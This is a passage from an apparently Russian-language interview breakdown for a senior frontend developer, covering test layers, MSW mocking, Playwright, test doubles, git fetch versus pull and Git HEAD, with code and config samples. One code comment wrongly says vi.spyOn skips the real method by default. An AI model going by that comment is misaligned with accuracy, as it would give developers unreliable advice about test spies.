});
});
Важно: Избегайте snapshot testing (Jest/Vitest snapshots) для компонентов — они ломаются при любом изменении, создают шум в PR, и разработчики делают u (update) не глядя. Используйте Visual Regression для UI и точечные ассерты для логики.
3. Интеграционные тесты (Component + API + Router) — "Sweet Spot"
Это главный рабочий конь Senior-разработчика. Тестируем "Срезы" функционала.
Ключевая технология: MSW (Mock Service Worker)
- Перехватывает запросы на уровне
Service Worker(браузер) илиnode:http(Node/Vitest). - Не мокает
fetch/axiosглобально — работает как реальный сервер. - Позволяет тестировать ошибки сети, задержки, стриминг, куки, заголовки.
- Одни и те же хендлеры (
handlers) используются в Storybook, Vitest, Playwright (dev/staging).
// setupTests.ts (vitest global setup)
import { setupServer } from 'msw/node';
import { handlers } from './mocks/handlers';
export const server = setupServer(...handlers);
// vitest.config.ts
import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
globals: true,
environment: 'jsdom',
setupFiles: ['./setupTests.ts'],
},
});
// handlers.ts
import { http, HttpResponse } from 'msw';
export const handlers = [
http.get('/api/users/:id', ({ params }) => {
if (params.id === '404') return new HttpResponse(null, { status: 404 });
return HttpResponse.json({ id: params.id, name: 'John' });
}),
];
// Test: Интеграция Компонента + Роутера + АПИ
import { render, screen, waitFor } from '@testing-library/react';
import { BrowserRouter } from 'react-router-dom';
import { UserPage } from './UserPage';
import { server } from './setupTests';
test('navigates and loads user', async () => {
render(
<BrowserRouter>
<UserPage />
</BrowserRouter>
);
// Имитация навигации (или прямая ссылка)
// Проверяем интеграцию с роутером
await waitFor(() => expect(screen.getByText('John')).toBeInTheDocument());
});
4. Визуальные регрессионные тесты (Visual Regression Testing)
Кандидат упомянул "скриншоты на пет-проекте". В продакшене это обязательно для Design System / UI Kit.
Архитектура:
- Storybook — каталог компонентов в изоляции (Stories = тест-кейсы: Default, Loading, Error, Dark, RTL, LongText).
- Chromatic / Percy / Playwright — CI шаг: рендер стори в браузере -> скриншот -> сравнение с базой (pixel-by-pixel или SSIM).
- Review UI — при изменении визуала PR блокируется, дизайнер/разработчик подтверждает изменения (Accept/Reject).
Настройка Playwright для VRT (без Storybook):
// visual-regression.spec.ts
import { test, expect } from '@playwright/test';
test('Button visual states', async ({ page }) => {
await page.goto('http://localhost:6006/iframe.html?id=button--primary'); // Storybook URL
// Отключаем анимации для стабильности
await page.addStyleTag({ content: '* { transition: none !important; animation: none !important; }' });
const button = page.locator('button');
await expect(button).toHaveScreenshot('button-primary.png', {
maxDiffPixels: 100, // Порог шума
threshold: 0.2
});
// Ховер
await button.hover();
await expect(button).toHaveScreenshot('button-primary-hover.png');
});
Senior Tips:
- Запускайте только на Linux (Docker CI) — рендеринг шрифтов в Mac/Win/Linux отличается.
- Используйте
font-family: "System UI"или встраивайте шрифты как base64 в CSS для детерминизма. - Маскируйте динамические области (даты, таймеры, аватары) через
locator.mask().
5. E2E тесты: Playwright — де-факто стандарт (2024)
Кандидат сказал "Selenium/Cypress". Playwright сейчас лидирует за счет:
- Auto-waiting (нет
cy.wait/await page.waitForTimeout). - Multi-browser (Chromium, Firefox, WebKit) из коробки.
- Parallelism + Sharding (запуск на нескольких машинах).
- Trace Viewer (видео, DOM снепшоты, network log, console — "Time Travel Debugging").
- Codegen (запись тестов через UI).
- API Testing (
request.post(...)) — можно тестировать бэкенд в тех же тестах.
Паттерн Page Object Model (POM) — обязателен для поддержки:
// pages/LoginPage.ts
import { Page, Locator, expect } from '@playwright/test';
export class LoginPage {
readonly emailInput: Locator;
readonly passwordInput: Locator;
readonly submitButton: Locator;
readonly errorMessage: Locator;
constructor(readonly page: Page) {
this.emailInput = page.getByLabel('Email');
this.passwordInput = page.getByLabel('Password');
this.submitButton = page.getByRole('button', { name: 'Sign in' });
this.errorMessage = page.getByTestId('error-toast');
}
async goto() { await this.page.goto('/login'); }
async login(email: string, password: string) {
await this.emailInput.fill(email);
await this.passwordInput.fill(password);
await this.submitButton.click();
}
async expectError(message: string) {
await expect(this.errorMessage).toContainText(message);
}
}
// tests/auth.spec.ts
import { test, expect } from '@playwright/test';
import { LoginPage } from '../pages/LoginPage';
test.describe('Authentication', () => {
let loginPage: LoginPage;
test.beforeEach(async ({ page }) => {
loginPage = new LoginPage(page);
await loginPage.goto();
});
test('successful login redirects to dashboard', async ({ page }) => {
await loginPage.login('user@example.com', 'password123');
await expect(page).toHaveURL(/.*dashboard/);
await expect(page.getByText('Welcome')).toBeVisible();
});
test('shows error on invalid credentials', async () => {
await loginPage.login('wrong@test.com', 'wrong');
await loginPage.expectError('Invalid credentials');
});
});
CI Strategy для E2E (Flakiness Management):
- Retries:
retries: 2вplaywright.config.ts(только на CI). - Sharding:
npx playwright test --shard=1/3— распараллеливание по машинам. - Test Data Isolation: Каждый тест создает свои данные через API (
test.beforeEach -> api.createUser()) и чистит (test.afterEach -> api.deleteUser()). Не зависьте от "сидовых" данных. - Auth State: Глобальный
setup-> логин -> сохранениеstorageState.json-> использование в тестах (use: { storageState: 'auth.json' }). Логин через UI — только в одном setup-тесте.
6. Contract Testing (Pact) — для Микросервисов
Если фронтенд и бэкенд разрабатываются независимо (разные команды, разные репозитории):
- Consumer-driven Contracts: Фронтенд (Consumer) пишет тесты на MSW/Pact, генерирует контракт (JSON).
- Бэкенд (Provider) в своем CI прогоняет верификацию контракта.
- Защищает от ломающих изменений API без необходимости поднимать полное окружение для E2E.
7. Mutation Testing — метрика качества тестов
Coverage (покрытие строк) != качество тестов.
Stryker / Mutode вносят мутации (меняют > на <, true на false, удаляют строки) и запускают тесты.
- Killed Mutant — тест упал (хорошо).
- Survived Mutant — тест прошел (плохо, тест не проверяет логику).
- Цель: Mutation Score > 80% для критических модулей (платежи, авторизация).
8. Организация процесса (Senior/Tech Lead View)
- Pre-commit (Husky + lint-staged):
typescript,eslint,prettier,unit tests (changed files only -- vitest --related). - CI Pipeline (PR):
Static Analysis(TS, Lint).Unit + Integration (Vitest + MSW)— должны проходить < 3-5 мин.Visual Regression (Chromatic/Playwright)— параллельно.Build(Vite/Webpack/Rspack) — проверка продакшн-сборки.
- Nightly / On Merge (Main):
E2E (Playwright Full Suite)— на Staging/Preview окружении.Mutation Testing(Stryker) — на критических пакетах (можно раз в неделю).Bundle Analysis(bundle-buddy, webpack-bundle-analyzer).
- Test Data Management: Использование Testcontainers (Postgres, Redis, Kafka в Docker) для интеграционных тестов бэкенда, которые поднимает фронтенд-стенд (или мок через MSW).
Резюме: Кандидат знает классификацию. Senior должен:
- Практиковать Integration Testing (Vitest + MSW + Testing Library) как основной слой.
- Внедрять Visual Regression (Storybook + Chromatic/Playwright) для Design System.
- Писать E2E (Playwright + POM + Auth State) только для "Happy Paths" и денежных флоу.
- Настроить CI так, чтобы быстрые тесты давали фидбек за минуты, а тяжелые — не блокировали мёрдж каждый коммит (nightly/sharding).
- Использовать Mutation Testing для объективной оценки качества юнит-тестов.
- Владеть MSW как единым источником правды для моков API во всех типах тестов и Storybook.
Вопрос 29. Что такое моки и зачем нужны
Таймкод: 01:17:47
Ответ собеседника: Правильный. Замена бэкенда для изолированного тестирования фронта. Варианты: локальный бэкенд в Docker (лучший), моки по Swagger/OpenAPI (MSW, Nock, Mock Service Worker) — подмена ответов по URL. В реальности комбинируют.
Правильный ответ:
Кандидат верно определил цель (изоляция) и перечислил основные подходы (Docker, MSW, Nock). На уровне Senior/Tech Lead важно разделять уровни мокирования (юнит vs интеграция vs E2E), понимать классификацию тестовых двойников (Mock vs Stub vs Spy vs Fake), знать паттерны работы с MSW (контрактное тестирование) и стратегии управления тестовыми данными. Ниже — углубленный разбор.
1. Терминология: Test Doubles (Тестовые двойники) — не всё "Моки"
Согласно Gerard Meszaros (xUnit Patterns) и Martin Fowler (Mocks Aren't Stubs), есть 5 типов. В JS/TS экосистеме часто смешивают, но Senior должен отличать:
| Тип | Назначение | Пример в JS/TS | Когда использовать |
|---|---|---|---|
| Dummy | Заполнитель аргумента, никогда не вызывается | null, undefined, {} | Обязательный аргумент функции, который не используется в текущем сценарии. |
| Stub | Каннированные ответы на вызовы. Не проверяет как вызвали. | vi.fn(() => Promise.resolve({ data: [] })), server.use(http.get(...)) | Интеграционные тесты: эмуляция API, БД, времени (vi.useFakeTimers). Главная цель — детерминизм. |
| Spy | Записывает вызовы (аргументы, количество) + может делегировать к реальной имплементации. | vi.spyOn(console, 'log'), vi.fn(realFn) | Проверка side-effects (логирование, аналитика, вызовы методов store). |
| Mock | Ожидания (Expectations). Запрограммирован на конкретные вызовы и падает, если их нет. | expect(mockFn).toHaveBeenCalledWith(userId) | Юнит-тесты: верификация контракта взаимодействия (Command Query Separation — проверяем Commands). |
| Fake | Рабочая реализация, но упрощенная/в памяти. | InMemoryUserRepository, FakeWebSocketServer | Когда реальная зависимость слишком тяжелая/медленная, но нужна семантика (транзакции, ивенты). |
> Правило Senior: В юнит-тестах используем Stubs для Queries (получение данных) и Mocks/Spies для Commands (изменение состояния/сайд-эффектов). Не мокаем всё подряд — тестируем поведение, не имплементацию.
2. Уровни мокирования в Frontend (Стратегия "Test Pyramid / Trophy")
| Уровень | Что мокаем | Инструмент | Причина |
|---|---|---|---|
| Unit (Logic/Hooks) | Зависимости модуля: api, store, utils, browser APIs (localStorage, matchMedia) | Vitest/Jest (vi.mock, vi.fn, vi.spyOn) | Скорость, полная изоляция, тестирование edge-cases (ошибки, таймауты). |
| Integration (Component + API) | Сетевой слой (HTTP). Компонент рендерится реально, роутер реален, стор реален. | MSW (Mock Service Worker) | Ключевой паттерн. Перехватывает fetch/XMLHttpRequest на уровне Service Worker. Не ломает имплементацию компонента. Работает в Node (Vitest) и Браузере (Storybook, Playwright). |
| E2E | Ничего не мокаем (идеально). Или только 3rd Party (Платежки, Карты, Email). | Playwright (page.route, APIRequestContext) | Реальный бэкенд (Staging/Preview). Моки только за пределами контура системы (Payment Gateway). |
| Visual/Storybook | HTTP, WebSockets, Browser APIs | MSW (те же handlers, что и в Unit/Integration) | Единый источник правды для "backend responses" во всех средах. |
3. MSW (Mock Service Worker) — Индустриальный стандарт 2024
Кандидат упомянул MSW. Это единственный инструмент, который работает одинаково в Vitest (Node), Storybook (Browser), Playwright (Browser) и Dev-режиме.
Архитектура MSW:
- Handlers (
http.get,http.post,graphql.query) — чистые функции, возвращаютHttpResponse. - Setup —
setupServer(Node/Vitest) илиsetupWorker(Browser/Storybook/Playwright). - Life-cycle —
server.listen()(beforeAll),server.resetHandlers()(afterEach),server.close()(afterAll).
Продвинутые паттерны MSW:
А. Динамические ответы / Валидация тела запроса
// handlers.ts
import { http, HttpResponse, delay } from 'msw';
export const handlers = [
// Реалистичная задержка для тестирования Loading/Skeleton
http.post('/api/auth/login', async ({ request }) => {
await delay(300); // Эмуляция сети
const body = await request.json();
if (body.email === 'fail@test.com') {
return HttpResponse.json({ message: 'Invalid credentials' }, { status: 401 });
}
return HttpResponse.json({ token: 'fake-jwt-token', user: { id: 1, name: 'Admin' } });
}),
// Валидация Query Params / Headers
http.get('/api/users', ({ request }) => {
const url = new URL(request.url);
const page = Number(url.searchParams.get('page') || 1);
const limit = Number(url.searchParams.get('limit') || 10);
// Генерация пагинированных данных на лету
return HttpResponse.json({
data: Array.from({ length: limit }, (_, i) => ({ id: (page-1)*limit + i + 1 })),
total: 100,
});
}),
];
Б. Обработка ошибок сети (Network Level Errors)
// Тестируем UI при отключенном интернете / падении DNS
http.get('/api/critical-data', () => {
return HttpResponse.error(); // TypeError: Failed to fetch
});
// Тестируем таймауты
http.get('/api/slow', async () => {
await delay(10000); // Дольше таймаута клиента
return HttpResponse.json({});
});
В. Переопределение хендлеров в конкретном тесте (Scenario Testing)
// test.spec.ts
import { server } from './setup'; // MSW server instance
import { http, HttpResponse } from 'msw';
test('shows empty state when API returns 404', async () => {
// Временная переопределение ТОЛЬКО для этого теста
server.use(
http.get('/api/user/1', () => new HttpResponse(null, { status: 404 }))
);
render(<UserProfile id="1" />);
await screen.findByText(/not found/i);
// afterEach -> server.resetHandlers() вернет дефолтный хендлер
});
Г. Генерация моков из OpenAPI / Swagger (OpenAPI MSW / Orval)
# Генерация типов + MSW хендлеров + React Query хуков из openapi.yaml
npx orval --input ./openapi.yaml --output ./src/api
- Дает Type-Safe моки:
HttpResponse.jsonпроверяет соответствие схеме. - Если бэкенд сломал контракт — падает TypeScript на этапе сборки фронтенда (или генерации).
4. Мокирование в Юнит-тестах (Vitest): Best Practices
А. vi.mock (Hoisted) — для модулей
// __mocks__/api/userApi.ts (или inline vi.mock)
import { vi } from 'vitest';
export const userApi = {
getUser: vi.fn(),
updateUser: vi.fn(),
};
// В тесте:
vi.mock('@/api/userApi', () => ({ userApi })); // Авто-хоистинг
test('calls api with correct params', async () => {
userApi.getUser.mockResolvedValue({ id: 1, name: 'John' });
render(<UserProfile id={1} />);
await screen.findByText('John');
expect(userApi.getUser).toHaveBeenCalledOnceWith(1); // Mock assertion
});
Б. vi.spyOn — для частичного мокирования / методов классов
class Analytics {
track(event: string) { /* real send */ }
}
test('tracks button click', () => {
const analytics = new Analytics();
const spy = vi.spyOn(analytics, 'track'); // Реальный метод не вызывается по дефолту
render(<Button onClick={() => analytics.track('click')} />);
fireEvent.click(screen.getByRole('button'));
expect(spy).toHaveBeenCalledWith('click');
spy.mockRestore(); // Важно: чистим после себя
});
В. Мокирование Browser APIs (localStorage, matchMedia, ResizeObserver)
// setupTests.ts (global)
Object.defineProperty(window, 'matchMedia', {
writable: true,
value: vi.fn().mockImplementation(query => ({
matches: false,
media: query,
onchange: null,
addListener: vi.fn(),
removeListener: vi.fn(),
})),
});
// localStorage mock (быстрый, в памяти)
const storage = new Map<string, string>();
vi.stubGlobal('localStorage', {
getItem: (k: string) => storage.get(k) || null,
setItem: (k: string, v: string) => storage.set(k, v),
removeItem: (k: string) => storage.delete(k),
clear: () => storage.clear(),
});
5. Антипаттерны и ошибки (Code Smells)
- Over-mocking (Мокирование деталей имплементации):
- Плохо:
vi.mock('./ChildComponent')→ тест ломается при рефакторинге детей. - Хорошо: Рендерим реальный
ChildComponent, мокаем только API/Store (граница системы).
- Плохо:
- Мокирование того, чем не владеешь (Standard Library / Browser API) без необходимости:
- Не мокайте
fetchвручную (global.fetch = vi.fn...). Используйте MSW. Он обрабатывает CORS, редиректы, стриминг,AbortControllerкорректно.
- Не мокайте
- Отсутствие
resetMocks/clearMocks:- Всегда в
vitest.config.ts:clearMocks: true,restoreMocks: true(или вbeforeEach/afterEach). Утечка состояния между тестами — главная причина флаки.
- Всегда в
- Тестирование моков вместо кода:
expect(mockFn).toHaveBeenCalled()— это тест мока. Тестируйте результат:expect(screen.getByText('Saved')).toBeVisible().
- Сложная логика внутри моков:
- Мок должен быть глупым (Stub). Если в моке
if/else— вы тестируете мок. Выносите логику в Fake или тестируйте на интеграционном уровне.
- Мок должен быть глупым (Stub). Если в моке
6. Стратегия "Local Backend in Docker" (Testcontainers)
Кандидат сказал "лучший вариант". Для Интеграционных тестов бэкенда и E2E — да.
- Testcontainers (Node/Java/Go): Поднимает реальный Postgres, Redis, Kafka, LocalStack (AWS) в Docker на лету для каждого тестового запуска.
- Frontend E2E: Playwright
webServerможет запускатьdocker-compose upдля бэкенда перед тестами. - Плюсы: 100% парность с продакшеном (SQL диалекты, миграции, индексы).
- Минусы: Медленно (секунды/минуты), требует Docker в CI, сложно параллелить (изоляция БД).
Гибридный подход (Best Practice):
- Unit/Integration (Frontend): MSW (мocks HTTP) — миллисекунды.
- Integration (Backend): Testcontainers (Real DB) — секунды.
- E2E: Real Backend (Staging/Preview Env) + MSW только для 3rd Party — минуты.
7. Contract Testing (Pact) — следующий уровень зрелости
Если команда фронтенда и бэкенда разные:
- Фронтенд пишет тесты на MSW/Vitest, генерируя Pact-файл (JSON) — контракт ожиданий.
- В CI фронтенда публикует контракт в Pact Broker.
- Бэкенд в своем CI скачивает контракт и верифицирует: "Отдаю ли я то, что ждет фронтенд?".
- Can-I-Deploy: Проверка перед деплоем: "Совместима ли моя версия с версией контракта?".
Это устраняет необходимость в тяжелых E2E для проверки совместимости API.
Резюме: Кандидат знает определение и инструменты. Senior отличает Stub (данные для чтения) от Mock (проверка команд), использует MSW как единый стандарт для всех уровней (Unit/Int/Storybook/E2E 3rd party), генерирует моки из OpenAPI для типобезопасности, избегает Over-mocking (тестирует поведение, не имплементацию) и знает про Contract Testing (Pact) для микросервисной архитектуры.
Вопрос 30. Разница между git fetch и git pull
Таймкод: 01:19:14
Ответ собеседника: Правильный. fetch — качает метаданные (ветки, коммиты), не меняет рабочую директорию. pull = fetch + merge (или rebase) — реально обновляет файлы.
Правильный ответ:
Кандидат верно описал базовую разницу. На уровне Senior/Tech Lead важно понимать внутреннюю механику (refs, HEAD, index), стратегии слияния (merge vs rebase vs fast-forward), безопасность workflow и настройку автоповедения. Ниже — углубленный разбор.
1. Фундаментальная разница: Что меняется в .git
| Действие | git fetch | git pull |
|---|---|---|
| Сеть | Скачивает объекты (commits, trees, blobs) и обновляет remote-tracking ветки (refs/remotes/origin/*). | Делает fetch, затем интегрирует изменения в текущую локальную ветку (refs/heads/*). |
| Рабочая директория | Никогда не трогает (Working Tree чистый). | Меняет файлы (Working Tree + Index), может вызвать конфликты. |
| HEAD | Не двигает. | Двигает HEAD на новый коммит (merge commit или rebased history). |
| Безопасность | Безопасная операция (read-only для локального состояния). | Деструктивная операция (меняет историю/состояние ветки). |
| Отмена | Не требуется (просто не смотрим). | Сложнее: git reset --hard ORIG_HEAD (если merge), git rebase --abort / git reflog (если rebase). |
Ключевой момент: fetch обновляет только origin/main (remote-tracking). Ваша локальная main остается на месте. Это позволяет сделать git diff main origin/main или git log main..origin/main до принятия решений.
2. git pull = fetch + (merge | rebase | ff-only)
Поведение pull определяется конфигом pull.rebase и pull.ff.
А. pull (default: pull.rebase=false, pull.ff=true)
git pull
# 1. fetch
# 2. git merge origin/branch
- Создает Merge Commit (если истории расошлись).
- Сохраняет точную историю параллельной разработки.
- Минус: "Грязная" история с множеством "Merge branch 'main' of..." в feature-ветках.
Б. pull --rebase (pull.rebase=true)
git pull --rebase
# 1. fetch
# 2. git rebase origin/branch
- Перекладывает ваши локальные коммиты поверх пришедших из remote.
- История линейная, чистая, без лишних merge-коммитов.
- Риск: Переписывает историю (меняет SHA ваших коммитов). Опасно, если коммиты уже запушены (force push). Для локальных фичей — стандарт де-факто.
В. pull --ff-only (pull.ff=only)
git pull --ff-only
# 1. fetch
# 2. git merge --ff-only origin/branch
- Обновляет ветку только если можно сделать Fast-Forward (ваша ветка строго позади remote, локальных коммитов нет).
- Если есть локальные коммиты — падает с ошибкой, не создавая merge и не делая rebase.
- Best Practice для
main/develop/releaseветок: Гарантирует, что вы случайно не создадите merge-коммит в защищенной ветке.
3. Рекомендуемая конфигурация (Global / Project .gitconfig)
[push]
default = current
autoSetupRemote = true # Авто --set-upstream при первом пуше
[pull]
rebase = true # pull = fetch + rebase (для feature веток)
ff = only # На protected ветках (main) лучше ff-only, но глобально rebase удобнее
[fetch]
prune = true # Авто-удаление origin/feature/xyz после удаления на сервере (Critical!)
# pruneTags = true # Опционально: чистить теги
[rebase]
autoStash = true # Авто-стойка незакоммиченных изменений при rebase/pull --rebase
updateRefs = true # Обновляет другие локальные ветки, если они указывают на rebased коммиты
> Совет: Для main/master лучше иметь алиас или функцию, которая делает ff-only, так как rebase на shared ветке плохая практика.
4. Workflow: Почему Senior делает fetch первым делом
Паттерн "Fetch -> Inspect -> Decide":
# 1. Синхронизация метаданных (безопасно, быстро)
git fetch --prune --all
# 2. Анализ (что пришло?)
git log --oneline --graph --all -20 # Визуальная картина
git log HEAD..origin/main --oneline # Только входящие коммиты
git diff HEAD origin/main --stat # Какие файлы менялись
git diff HEAD origin/main -- package.json # Проверить зависимости перед мержем
# 3. Принятие решения
# Вариант А: Чистый Fast-Forward (нет локальных коммитов)
git merge --ff-only origin/main # или git pull --ff-only
# Вариант Б: Есть локальные коммиты (feature ветка) -> Rebase
git rebase origin/main # Чистая история
# Вариант В: Нужно сохранить контекст мержа (редко для фич) -> Merge
git merge origin/main # Создает merge commit
Почему не pull сразу?
- Code Review себя: Вы видите что пришло перед тем, как это попадет в вашу историю.
- Конфликты зависимостей:
package.json/yarn.lockобновились на сервере.pullсразу создаст конфликт в лок-файле. Послеfetchвы можете сделатьgit show origin/main:package.jsonи подготовиться. - CI/CD пайплайны: Если на сервере провалился билд нового коммита, вы не хотите мержить его к себе.
fetchдает выбор остаться на старом коммите.
5. git fetch --prune (или git fetch -p) — Гигиена репозитория
- Проблема: Ветка
feature/xyzудалена на GitHub/GitLab после мержа. Локальноorigin/feature/xyzостается вечно (мусор вgit branch -r). - Решение:
fetch --pruneудаляет remote-tracking рефы, которых больше нет на сервере. - Best Practice: Включить
fetch.prune = trueглобально. Запускатьgit fetch -pперед началом работы.
6. Работа с тегами (Tags)
git fetch— качает теги, которые указывают на скачиваемые коммиты.git fetch --tags— качает все теги принудительно.git pull— не обновляет теги по умолчанию (если тег переместили на другой коммит —pullне подтянет изменение).- Senior Tip: Версионирование через теги (
v1.2.3) требует явногоgit fetch --tagsилиgit fetch --prune --prune-tagsв CI перед релизом.
7. Расширенные сценарии
А. git pull --autostash (Git 2.6+)
Если есть незакоммиченные изменения (dirty working tree):
git pull --rebase --autostash
# 1. Stash локальные изменения
# 2. Pull --rebase
# 3. Stash Pop
- Удобно для быстрого
pullв грязной директории, но опасно — может скрыть конфликты стэша. Лучше:commit/stashвручную ->pull->pop.
Б. git fetch --jobs=N (Параллельная загрузка)
git fetch --jobs=4 --all
- Ускоряет fetch на больших монорепах с множеством remote/submodules.
В. Partial Clone / Sparse Checkout (Огромные репозитории)
git clone --filter=blob:none --sparse <url>
git sparse-checkout set frontend/packages/my-app
fetchкачает только метаданные и нужные деревья (blobs качаются по требованию).pullработает так же.
8. CI/CD Specifics
- Shallow Clone (
depth=1):git fetch --depth=1 origin main. История обрезана.pullможет не сработать (нет базы для merge/rebase). Нуженgit fetch --unshallowили полный клон. - Merge Train / Merge Queues: Бот делает
fetch-> создает временную ветку ->merge/rebase-> прогоняет тесты ->push. Пониманиеfetchvspullкритично для отладки пайплайнов.
Резюме: Кандидат знает синтаксис. Senior использует fetch --prune как атомарную операцию синхронизации, разделяет чтение (fetch) и запись (merge/rebase), настраивает pull.ff=only для защищенных веток и pull.rebase=true для фич, и никогда не делает pull "вслепую" без предварительного log/diff входящих изменений.
Вопрос 31. Что такое HEAD в Git
Таймкод: 01:19:44
Ответ собеседника: Правильный. Указатель на последний коммит текущей ветки (символическая ссылка).
Правильный ответ:
Кандидат дал верное определение. На уровне Senior/Tech Lead важно понимать внутреннее устройство (.git/HEAD, refs/heads), состояние Detached HEAD, разницу между HEAD, HEAD^, HEAD~, и как HEAD используется в reflog, reset, rebase, worktrees. Ниже — углубленный разбор.
1. Физическое устройство: Файл .git/HEAD
HEAD — это файл в корне репозитория (.git/HEAD), а не коммит и не ветка.
А. Attached HEAD (Нормальное состояние):
# .git/HEAD
ref: refs/heads/main
- Это символическая ссылка (symbolic reference).
- Указывает на ветку (
refs/heads/main), а не на коммит напрямую. - Ветка (
refs/heads/main) в свою очередь указывает на хеш коммита (например,a1b2c3d). - Цепочка:
HEAD -> refs/heads/main -> a1b2c3d.
Б. Detached HEAD (Отсоединенное состояние):
# .git/HEAD
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0
- Файл содержит прямой SHA-1 хеш коммита.
- Возникает при:
git checkout <commit-hash>,git checkout tag,git checkout HEAD~3,git rebase(в процессе),git bisect. - Нет ветки, указывающей на этот коммит. Новые коммиты создаются "в пустоте" — на них нет ссылки, кроме
HEADиreflog.
2. HEAD vs Ветка (Branch) — Ключевое различие
| Сущность | Что это | Мутирует при коммите? | Хранится в |
|---|---|---|---|
| HEAD | Указатель на текущую точку следования (где вы стоите сейчас). | Да (всегда двигается на новый коммит). | .git/HEAD (файл) |
| Ветка (Branch) | Именованный указатель на конец линии разработки (где заканчивается линия). | Только если HEAD указывает на эту ветку (Attached). | .git/refs/heads/<name> (файл) |
Аналогия:
- Ветка — это закладка в книге на последней прочитанной странице главы.
- HEAD — это ваш палец, указывающий на текущую строку, которую вы читаете прямо сейчас.
- Обычно палец стоит на закладке (Attached). Можно убрать палец с закладки и почитать старую страницу (Detached) — закладка не сдвинется.
3. Нотация: HEAD, HEAD^, HEAD~, @
В Git-командах HEAD — это ревизия (revision), которую можно комбинировать с суффиксами.
| Синтаксис | Описание | Пример использования |
|---|---|---|
HEAD / @ | Текущий коммит (коротко @ работает везде). | git show @, git diff @~1..@ |
HEAD^ / HEAD^1 | Первый родитель (предыдущий коммит в линейной истории). | git show HEAD^ |
HEAD^2 | Второй родитель (только для Merge Commit'ов — пришедшая ветка). | git show HEAD^2 (посмотреть, что вмержили) |
HEAD~ / HEAD~1 | Предок первого порядка (то же что ^, но рекурсивно). | git reset --hard HEAD~3 (откатить 3 коммита назад) |
HEAD~3 | Предок третьего порядка (родитель родителя родителя). | git rebase -i HEAD~5 |
HEAD@{1} | Reflog entry: где был HEAD 1 действие назад (до checkout/reset/rebase). | git reset --hard HEAD@{1} (отменить неудачный rebase) |
HEAD@{yesterday} | Где был HEAD вчера (по reflog). | git diff HEAD@{yesterday} |
> Важно: ^ и ~ работают только назад по истории.
> HEAD^2 существует только у Merge Commit'а (у обычного коммита один родитель).
4. Detached HEAD: Опасности и Правила выживания
Как попасть:
git checkout <hash>git checkout v1.0.0(тег)git checkout main~5git rebase -i(внутри процесса)- CI/CD:
git checkout $CI_COMMIT_SHA(типичный кейс в GitLab CI / GitHub Actions).
Риски:
- Потеря коммитов: Сделали коммиты в Detached HEAD ->
git checkout main. Коммиты невидимы дляgit log, нет ветки, на них нет ссылок. Их удалит Garbage Collector (git gc) через 30 дней (по умолчаниюgc.reflogExpire). - Невозможность пуша:
git push origin HEADне сработает (нет имени ветки). Нуженgit push origin HEAD:<new-branch-name>.
Как спасти работу (Best Practice):
# 1. Создать ветку ТУТ ЖЕ (до переключения)
git switch -c feature/saved-work
# или классически:
git branch feature/saved-work
git checkout feature/saved-work
# 2. Если уже ушли на main — использовать Reflog (см. ниже)
git reflog
# Найдите строку: a1b2c3d HEAD@{2}: commit: "My lost work"
git branch recovery-branch a1b2c3d
5. Reflog (Reference Log) — "Машина времени" для HEAD
git reflog — это локальный журнал перемещений HEAD (и веток). Хранится в .git/logs/HEAD.
- Не синхронизируется с сервером (чисто локально).
- Записывает каждое движение HEAD:
commit,checkout,reset,rebase,merge,pull,cherry-pick. - Формат:
<hash> HEAD@{<index>}: <action>: <message>.
Спасение после git reset --hard / неудачного rebase / commit --amend:
git reflog
# a1b2c3d HEAD@{0}: reset: moving to HEAD~3 (ОШИБКА!)
# e5f6g7h HEAD@{1}: commit: "Important work" (НУЖНЫЙ КОММИТ)
git reset --hard HEAD@{1} # Вернуться к состоянию ДО reset
# или
git cherry-pick e5f6g7h # Достать конкретный коммит
Настройка хранения (Global Config):
git config --global gc.reflogExpire 90.days # Как долго хранить записи, достижимые из веток
git config --global gc.reflogExpireUnreachable 30.days # Недостижимые (detached commits)
6. HEAD в продвинутых сценариях
А. git worktree — Множественные HEAD'ы
Один репозиторий — несколько рабочих директорий. У каждой свой HEAD.
git worktree add ../hotfix main
# Создает ../hotfix с .git файлом (не папкой), внутри: gitdir: /main/repo/.git/worktrees/hotfix
# У этого worktree свой HEAD (может быть на другом коммите/ветке).
- Полезно: Параллельный хотфикс без стэша/коммита в основной ветке, запуск тестов на другом коммите.
Б. ORIG_HEAD, MERGE_HEAD, REBASE_HEAD — Служебные ссылки
Создаются во время операций для отката/контекста:
ORIG_HEAD— где был HEAD перед опасной операцией (reset --hard,merge,rebase).git reset --hard ORIG_HEAD— быстрый откат.MERGE_HEAD— коммит(ы), которые вливаются (git merge feature).REBASE_HEAD— коммит, на который перебазируются (upstream).CHERRY_PICK_HEAD— коммит, который пикается.
В. git reset — манипуляция HEAD (Three Modes)
| Команда | Двигает HEAD? | Меняет Index (Staging)? | Меняет Working Tree? | Use Case |
|---|---|---|---|---|
reset --soft <commit> | Да | Нет | Нет | Пересобрать коммит (amend multiple), squash локально. |
reset --mixed <commit> (default) | Да | Да (сбрасывает к HEAD) | Нет | "Раскоммитить", оставить изменения в файлах. |
reset --hard <commit> | Да | Да | Да (ОПАСНО: потери данных) | Жесткий откат к чистому состоянию. |
7. HEAD в CI/CD и скриптах (Automation)
Получение текущего SHA (детерминированно):
# Лучший способ (работает в detached HEAD):
git rev-parse HEAD
# Короткий хеш для тегов/артефактов:
git rev-parse --short=8 HEAD
# Имя ветки (если attached), иначе хеш:
git branch --show-current || git rev-parse --short HEAD
Проверка "чистоты" перед деплоем:
# Есть ли незакоммиченные изменения?
if ! git diff --quiet HEAD || ! git diff --cached --quiet HEAD; then
echo "Working tree dirty"; exit 1;
fi
# Соответствует ли HEAD тегу релиза?
if [ "$(git describe --exact-match --tags HEAD 2>/dev/null)" != "v$VERSION" ]; then
echo "HEAD not tagged as v$VERSION"; exit 1;
fi
Резюме: Кандидат знает определение. Senior воспринимает HEAD как управляемую точку входа в историю: умеет читать .git/HEAD для диагностики, свободно манипулирует HEAD~, HEAD^, HEAD@{n} для навигации и спасения коммитов через reflog, понимает механику worktree (независимые HEAD'ы) и использует ORIG_HEAD/MERGE_HEAD для отката сложных операций. Критически важно: никогда не уходить из Detached HEAD без создания ветки.
Вопрос 32. Отличие merge от rebase
Таймкод: 01:20:02
Ответ собеседника: Правильный. Merge — создаёт merge-коммит, сохраняет историю как есть. Rebase — перебазирует коммиты на верхушку целевой ветки, линейная история, без лишних коммитов. Опасен для общих веток.
Правильный ответ:
